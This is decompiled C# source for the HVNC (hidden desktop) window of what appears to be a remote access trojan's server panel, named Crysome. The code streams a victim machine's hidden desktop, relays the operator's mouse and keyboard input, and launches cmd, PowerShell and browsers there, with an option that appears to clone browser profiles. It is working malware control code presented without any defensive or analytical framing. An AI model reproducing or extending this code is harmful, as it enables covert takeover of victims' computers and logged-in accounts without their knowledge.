using System; using System.CodeDom.Compiler; using System.Collections.Generic; using System.ComponentModel; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; using System.Threading; using System.Windows; using System.Windows.Controls; using System.Windows.Controls.Primitives; using System.Windows.Input; using System.Windows.Markup; using System.Windows.Media.Imaging; using System.Windows.Threading; using Crysome.Server.Model; using Crysome.Server.ViewModel; using Wpf.Ui.Controls; namespace Crysome.Server.View; public class HvncWindow : FluentWindow, IComponentConnector { private readonly ClientInfo _client; private readonly ManageClientsViewModel _vm; private int _remoteWidth = 1920; private int _remoteHeight = 1080; private bool _streaming; private byte[] _latestFrame; private readonly object _frameLock = new object(); private bool _updatePending; private readonly HashSet _keysDownSent = new HashSet(); private int _lastSentKeyOrChar; private int _lastSentTicks; private const int SendThrottleMs = 120; private long _lastLeftDownTicks; private Point _lastLeftDownPos; private bool _suppressSecondLeftDown; private const int DoubleClickMs = 400; private const double DoubleClickMaxDistance = 10.0; private int _frameCount; private long _fpsTickStart; private DispatcherTimer _fpsTimer; private const int WM_MOUSEMOVE = 512; private const int WM_LBUTTONDOWN = 513; private const int WM_LBUTTONUP = 514; private const int WM_LBUTTONDBLCLK = 515; private const int WM_RBUTTONDOWN = 516; private const int WM_RBUTTONUP = 517; private const int WM_KEYDOWN = 256; private const int WM_KEYUP = 257; private const int WM_CHAR = 258; private const int VK_SHIFT = 16; private const int VK_CAPITAL = 20; private const int VK_BACK = 8; private const int VK_TAB = 9; private const int VK_RETURN = 13; private const int VK_ESCAPE = 27; private const int VK_PRIOR = 33; private const int VK_NEXT = 34; private const int VK_END = 35; private const int VK_HOME = 36; private const int VK_LEFT = 37; private const int VK_UP = 38; private const int VK_RIGHT = 39; private const int VK_DOWN = 40; private const int VK_INSERT = 45; private const int VK_DELETE = 46; internal TextBlock TitleText; internal Button StartBtn; internal Button StopBtn; internal Button CloseBtn; internal Viewbox HvncViewbox; internal Image HvncImage; internal ToggleSwitch CloneControlSwitch; internal ToggleSwitch MouseControlSwitch; internal ToggleSwitch KeyboardControlSwitch; internal TextBlock StatusText; internal TextBlock FpsText; internal Slider IntervalSlider; internal TextBlock IntervalLabel; internal ComboBox QualityCombo; private bool _contentLoaded; [DllImport("user32.dll")] private static extern short GetKeyState(int nVirtKey); [DllImport("user32.dll")] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool GetKeyboardState(byte[] lpKeyState); [DllImport("user32.dll")] private static extern uint MapVirtualKey(uint uCode, uint uMapType); [DllImport("user32.dll")] private static extern int ToAscii(uint uVirtKey, uint uScanCode, byte[] lpKeyState, out uint lpChar, uint uFlags); public HvncWindow(ClientInfo client, ManageClientsViewModel vm) { InitializeComponent(); _client = client; _vm = vm; ((Window)this).Title = "HVNC — " + (client?.Address ?? "?"); TitleText.Text = ((Window)this).Title; IntervalSlider.ValueChanged += delegate { IntervalLabel.Text = (int)IntervalSlider.Value + "ms"; }; ((Window)this).Closed += delegate { DispatcherTimer fpsTimer = _fpsTimer; if (fpsTimer != null) { fpsTimer.Stop(); } if (_streaming) { _vm.StopHvnc(_client); } _vm.UnregisterHvncFrames(_client); }; } private void StartBtn_Click(object sender, RoutedEventArgs e) { //IL_00d8: Unknown result type (might be due to invalid IL or missing references) //IL_00dd: Unknown result type (might be due to invalid IL or missing references) //IL_00ef: Expected O, but got Unknown _streaming = true; _frameCount = 0; _fpsTickStart = Environment.TickCount64; ((UIElement)(object)StartBtn).IsEnabled = false; ((UIElement)(object)StopBtn).IsEnabled = true; StatusText.Text = "Streaming hidden desktop. Click on image to control."; HvncImage.Focus(); int quality = QualityCombo?.SelectedIndex switch { 0 => 100, 1 => 90, 2 => 75, 3 => 50, 4 => 25, _ => 10, }; int intervalMs = (int)(IntervalSlider?.Value ?? 80.0); _fpsTimer = new DispatcherTimer { Interval = TimeSpan.FromSeconds(1L) }; _fpsTimer.Tick += delegate { FpsText.Text = _frameCount + " FPS"; _frameCount = 0; }; _fpsTimer.Start(); _vm.StartHvnc(_client, quality, intervalMs, delegate(byte[] imageData) { if (imageData != null && imageData.Length != 0) { Interlocked.Increment(ref _frameCount); lock (_frameLock) { _latestFrame = imageData; } if (!_updatePending) { _updatePending = true; ((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)new Action(ApplyLatestFrame), (DispatcherPriority)4, Array.Empty()); } } }); } private void ApplyLatestFrame() { byte[] latestFrame; lock (_frameLock) { _updatePending = false; latestFrame = _latestFrame; } if (latestFrame == null || latestFrame.Length == 0) { return; } try { BitmapImage bitmapImage = new BitmapImage(); bitmapImage.BeginInit(); bitmapImage.StreamSource = new MemoryStream(latestFrame); bitmapImage.CacheOption = BitmapCacheOption.OnLoad; bitmapImage.EndInit(); ((Freezable)bitmapImage).Freeze(); _remoteWidth = bitmapImage.PixelWidth; _remoteHeight = bitmapImage.PixelHeight; HvncImage.Source = bitmapImage; } catch { } } private void StopBtn_Click(object sender, RoutedEventArgs e) { _streaming = false; DispatcherTimer fpsTimer = _fpsTimer; if (fpsTimer != null) { fpsTimer.Stop(); } _fpsTimer = null; FpsText.Text = ""; _keysDownSent.Clear(); _lastSentKeyOrChar = 0; _lastSentTicks = 0; ((UIElement)(object)StartBtn).IsEnabled = true; ((UIElement)(object)StopBtn).IsEnabled = false; _vm.StopHvnc(_client); _vm.UnregisterHvncFrames(_client); lock (_frameLock) { _latestFrame = null; } HvncImage.Source = null; StatusText.Text = "Stopped."; } private void CloseBtn_Click(object sender, RoutedEventArgs e) { ((Window)this).Close(); } private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) { try { ((Window)this).DragMove(); } catch { } } private void ImageToRemoteCoords(Point p, out int x, out int y) { double actualWidth = HvncImage.ActualWidth; double actualHeight = HvncImage.ActualHeight; if (actualWidth <= 0.0 || actualHeight <= 0.0 || _remoteWidth <= 0 || _remoteHeight <= 0) { x = 0; y = 0; return; } double num = Math.Min(actualWidth / (double)_remoteWidth, actualHeight / (double)_remoteHeight); double num2 = (double)_remoteWidth * num; double num3 = (double)_remoteHeight * num; double num4 = (actualWidth - num2) / 2.0; double num5 = (actualHeight - num3) / 2.0; x = (int)((p.X - num4) / num); y = (int)((p.Y - num5) / num); if (x < 0) { x = 0; } if (x >= _remoteWidth) { x = _remoteWidth - 1; } if (y < 0) { y = 0; } if (y >= _remoteHeight) { y = _remoteHeight - 1; } } private static int MakeLParam(int x, int y) { return (y << 16) | (x & 0xFFFF); } private void HvncImage_MouseMove(object sender, MouseEventArgs e) { //IL_0030: Unknown result type (might be due to invalid IL or missing references) if (_streaming) { ToggleSwitch mouseControlSwitch = MouseControlSwitch; if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true) { ImageToRemoteCoords(e.GetPosition(HvncImage), out var x, out var y); _vm.SendHvncInput(_client, 512, 0, MakeLParam(x, y)); } } } private void HvncImage_MouseDown(object sender, MouseButtonEventArgs e) { //IL_003b: Unknown result type (might be due to invalid IL or missing references) //IL_0040: Unknown result type (might be due to invalid IL or missing references) //IL_0042: Unknown result type (might be due to invalid IL or missing references) //IL_009d: Unknown result type (might be due to invalid IL or missing references) //IL_009e: Unknown result type (might be due to invalid IL or missing references) //IL_006c: Unknown result type (might be due to invalid IL or missing references) //IL_006e: Unknown result type (might be due to invalid IL or missing references) //IL_0073: Unknown result type (might be due to invalid IL or missing references) //IL_0078: Unknown result type (might be due to invalid IL or missing references) if (!_streaming) { return; } ToggleSwitch mouseControlSwitch = MouseControlSwitch; if (mouseControlSwitch == null || ((ToggleButton)(object)mouseControlSwitch).IsChecked != true) { return; } HvncImage.Focus(); Point position = e.GetPosition(HvncImage); ImageToRemoteCoords(position, out var x, out var y); if (e.ChangedButton == MouseButton.Left) { long tickCount = Environment.TickCount64; if (tickCount - _lastLeftDownTicks < 400) { Vector val = position - _lastLeftDownPos; if (val.Length < 10.0) { _suppressSecondLeftDown = true; return; } } _lastLeftDownTicks = tickCount; _lastLeftDownPos = position; _vm.SendHvncInput(_client, 513, 0, MakeLParam(x, y)); } else { _vm.SendHvncInput(_client, 516, 0, MakeLParam(x, y)); } } private void HvncImage_MouseUp(object sender, MouseButtonEventArgs e) { //IL_0030: Unknown result type (might be due to invalid IL or missing references) if (!_streaming) { return; } ToggleSwitch mouseControlSwitch = MouseControlSwitch; if (mouseControlSwitch == null || ((ToggleButton)(object)mouseControlSwitch).IsChecked != true) { return; } ImageToRemoteCoords(e.GetPosition(HvncImage), out var x, out var y); if (e.ChangedButton == MouseButton.Left) { if (_suppressSecondLeftDown) { _suppressSecondLeftDown = false; _vm.SendHvncInput(_client, 515, 0, MakeLParam(x, y)); _vm.SendHvncInput(_client, 514, 0, MakeLParam(x, y)); } else { _vm.SendHvncInput(_client, 514, 0, MakeLParam(x, y)); } } else { _vm.SendHvncInput(_client, 517, 0, MakeLParam(x, y)); } } private static int GetModifiedChar(int vk) { GetKeyState(0); byte[] lpKeyState = new byte[256]; if (!GetKeyboardState(lpKeyState)) { return 0; } uint uScanCode = MapVirtualKey((uint)vk, 0u); if (ToAscii((uint)vk, uScanCode, lpKeyState, out var lpChar, 0u) == 1) { return (int)lpChar; } return 0; } private static bool IsControlKey(int vk) { if (vk != 8 && vk != 9 && vk != 13 && vk != 27 && vk != 33 && vk != 34 && vk != 35 && vk != 36 && vk != 37 && vk != 38 && vk != 39 && vk != 40 && vk != 45) { return vk == 46; } return true; } private void SendKeyToHvnc(KeyEventArgs e, bool isKeyDown) { //IL_0029: Unknown result type (might be due to invalid IL or missing references) if (!_streaming) { return; } ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch; if (keyboardControlSwitch == null || ((ToggleButton)(object)keyboardControlSwitch).IsChecked != true) { return; } int num = KeyInterop.VirtualKeyFromKey(e.Key); if (num == 16 || num == 20) { return; } if (isKeyDown) { _keysDownSent.Add(num); } else { if (!_keysDownSent.Remove(num)) { return; } int tickCount = Environment.TickCount; if (IsControlKey(num)) { if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != num) { _lastSentKeyOrChar = num; _lastSentTicks = tickCount; _vm.SendHvncInput(_client, 256, num, 0); _vm.SendHvncInput(_client, 257, num, 0); } return; } int modifiedChar = GetModifiedChar(num); if (modifiedChar >= 32) { if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != modifiedChar + 65536) { _lastSentKeyOrChar = modifiedChar + 65536; _lastSentTicks = tickCount; _vm.SendHvncInput(_client, 258, modifiedChar, 0); } } else if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != num) { _lastSentKeyOrChar = num; _lastSentTicks = tickCount; _vm.SendHvncInput(_client, 256, num, 0); _vm.SendHvncInput(_client, 257, num, 0); } } } private void HvncImage_PreviewKeyDown(object sender, KeyEventArgs e) { SendKeyToHvnc(e, isKeyDown: true); } private void HvncImage_PreviewKeyUp(object sender, KeyEventArgs e) { SendKeyToHvnc(e, isKeyDown: false); } private void Window_PreviewKeyDown(object sender, KeyEventArgs e) { if (_streaming) { ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch; if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true) { SendKeyToHvnc(e, isKeyDown: true); e.Handled = true; } } } private void Window_PreviewKeyUp(object sender, KeyEventArgs e) { if (_streaming) { ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch; if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true) { SendKeyToHvnc(e, isKeyDown: false); e.Handled = true; } } } private void RunExplorer_Click(object sender, RoutedEventArgs e) { _vm.SendHvncRunRequest(_client, 0); } private void RunRunDialog_Click(object sender, RoutedEventArgs e) { _vm.SendHvncRunRequest(_client, 1); } private void RunCmd_Click(object sender, RoutedEventArgs e) { _vm.SendHvncRunRequest(_client, 2); } private void RunPowerShell_Click(object sender, RoutedEventArgs e) { _vm.SendHvncRunRequest(_client, 3); } private void RunChrome_Click(object sender, RoutedEventArgs e) { ManageClientsViewModel vm = _vm; ClientInfo client = _client; ToggleSwitch cloneControlSwitch = CloneControlSwitch; vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 11 : 4)); } private void RunEdge_Click(object sender, RoutedEventArgs e) { ManageClientsViewModel vm = _vm; ClientInfo client = _client; ToggleSwitch cloneControlSwitch = CloneControlSwitch; vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 12 : 5)); } private void RunFirefox_Click(object sender, RoutedEventArgs e) { ManageClientsViewModel vm = _vm; ClientInfo client = _client; ToggleSwitch cloneControlSwitch = CloneControlSwitch; vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 13 : 6)); } private void RunOpera_Click(object sender, RoutedEventArgs e) { ManageClientsViewModel vm = _vm; ClientInfo client = _client; ToggleSwitch cloneControlSwitch = CloneControlSwitch; vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 14 : 7)); } private void RunOperaGX_Click(object sender, RoutedEventArgs e) { ManageClientsViewModel vm = _vm; ClientInfo client = _client; ToggleSwitch cloneControlSwitch = CloneControlSwitch; vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 15 : 8)); } private void RunBrave_Click(object sender, RoutedEventArgs e) { ManageClientsViewModel vm = _vm; ClientInfo client = _client; ToggleSwitch cloneControlSwitch = CloneControlSwitch; vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 16 : 9)); } private void RunNotepad_Click(object sender, RoutedEventArgs e) { _vm.SendHvncRunRequest(_client, 17); } private void RunCalculator_Click(object sender, RoutedEventArgs e) { _vm.SendHvncRunRequest(_client, 18); } private void RunDiscord_Click(object sender, RoutedEventArgs e) { _vm.SendHvncRunRequest(_client, 19); } [DebuggerNonUserCode] [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] public void InitializeComponent() { if (!_contentLoaded) { _contentLoaded = true; Uri resourceLocator = new Uri("/Crysome.Server;component/view/hvncwindow.xaml", UriKind.Relative); Application.LoadComponent(this, resourceLocator); } } [DebuggerNonUserCode] [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] [EditorBrowsable(EditorBrowsableState.Never)] void IComponentConnector.Connect(int connectionId, object target) { //IL_00d7: Unknown result type (might be due to invalid IL or missing references) //IL_00e1: Expected O, but got Unknown //IL_00fb: Unknown result type (might be due to invalid IL or missing references) //IL_0105: Expected O, but got Unknown //IL_011f: Unknown result type (might be due to invalid IL or missing references) //IL_0129: Expected O, but got Unknown //IL_01fd: Unknown result type (might be due to invalid IL or missing references) //IL_0213: Expected O, but got Unknown //IL_0215: Unknown result type (might be due to invalid IL or missing references) //IL_022b: Expected O, but got Unknown //IL_022d: Unknown result type (might be due to invalid IL or missing references) //IL_0243: Expected O, but got Unknown //IL_0245: Unknown result type (might be due to invalid IL or missing references) //IL_025b: Expected O, but got Unknown //IL_025d: Unknown result type (might be due to invalid IL or missing references) //IL_0273: Expected O, but got Unknown //IL_0275: Unknown result type (might be due to invalid IL or missing references) //IL_028b: Expected O, but got Unknown //IL_028d: Unknown result type (might be due to invalid IL or missing references) //IL_02a3: Expected O, but got Unknown //IL_02a5: Unknown result type (might be due to invalid IL or missing references) //IL_02bb: Expected O, but got Unknown //IL_02bd: Unknown result type (might be due to invalid IL or missing references) //IL_02d3: Expected O, but got Unknown //IL_02d5: Unknown result type (might be due to invalid IL or missing references) //IL_02eb: Expected O, but got Unknown //IL_02ed: Unknown result type (might be due to invalid IL or missing references) //IL_0303: Expected O, but got Unknown //IL_0305: Unknown result type (might be due to invalid IL or missing references) //IL_031b: Expected O, but got Unknown //IL_031d: Unknown result type (might be due to invalid IL or missing references) //IL_0333: Expected O, but got Unknown //IL_0336: Unknown result type (might be due to invalid IL or missing references) //IL_0340: Expected O, but got Unknown //IL_0343: Unknown result type (might be due to invalid IL or missing references) //IL_034d: Expected O, but got Unknown //IL_0350: Unknown result type (might be due to invalid IL or missing references) //IL_035a: Expected O, but got Unknown switch (connectionId) { case 1: ((Grid)target).PreviewKeyDown += Window_PreviewKeyDown; ((Grid)target).PreviewKeyUp += Window_PreviewKeyUp; break; case 2: ((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown; break; case 3: TitleText = (TextBlock)target; break; case 4: StartBtn = (Button)target; ((ButtonBase)(object)StartBtn).Click += StartBtn_Click; break; case 5: StopBtn = (Button)target; ((ButtonBase)(object)StopBtn).Click += StopBtn_Click; break; case 6: CloseBtn = (Button)target; ((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click; break; case 7: HvncViewbox = (Viewbox)target; break; case 8: HvncImage = (Image)target; HvncImage.MouseMove += HvncImage_MouseMove; HvncImage.MouseLeftButtonDown += HvncImage_MouseDown; HvncImage.MouseLeftButtonUp += HvncImage_MouseUp; HvncImage.MouseRightButtonDown += HvncImage_MouseDown; HvncImage.MouseRightButtonUp += HvncImage_MouseUp; HvncImage.PreviewKeyDown += HvncImage_PreviewKeyDown; HvncImage.PreviewKeyUp += HvncImage_PreviewKeyUp; break; case 9: ((ButtonBase)(Button)target).Click += RunExplorer_Click; break; case 10: ((ButtonBase)(Button)target).Click += RunRunDialog_Click; break; case 11: ((ButtonBase)(Button)target).Click += RunCmd_Click; break; case 12: ((ButtonBase)(Button)target).Click += RunPowerShell_Click; break; case 13: ((ButtonBase)(Button)target).Click += RunEdge_Click; break; case 14: ((ButtonBase)(Button)target).Click += RunChrome_Click; break; case 15: ((ButtonBase)(Button)target).Click += RunFirefox_Click; break; case 16: ((ButtonBase)(Button)target).Click += RunOpera_Click; break; case 17: ((ButtonBase)(Button)target).Click += RunOperaGX_Click; break; case 18: ((ButtonBase)(Button)target).Click += RunBrave_Click; break; case 19: ((ButtonBase)(Button)target).Click += RunDiscord_Click; break; case 20: ((ButtonBase)(Button)target).Click += RunNotepad_Click; break; case 21: ((ButtonBase)(Button)target).Click += RunCalculator_Click; break; case 22: CloneControlSwitch = (ToggleSwitch)target; break; case 23: MouseControlSwitch = (ToggleSwitch)target; break; case 24: KeyboardControlSwitch = (ToggleSwitch)target; break; case 25: StatusText = (TextBlock)target; break; case 26: FpsText = (TextBlock)target; break; case 27: IntervalSlider = (Slider)target; break; case 28: IntervalLabel = (TextBlock)target; break; case 29: QualityCombo = (ComboBox)target; break; default: _contentLoaded = true; break; } } }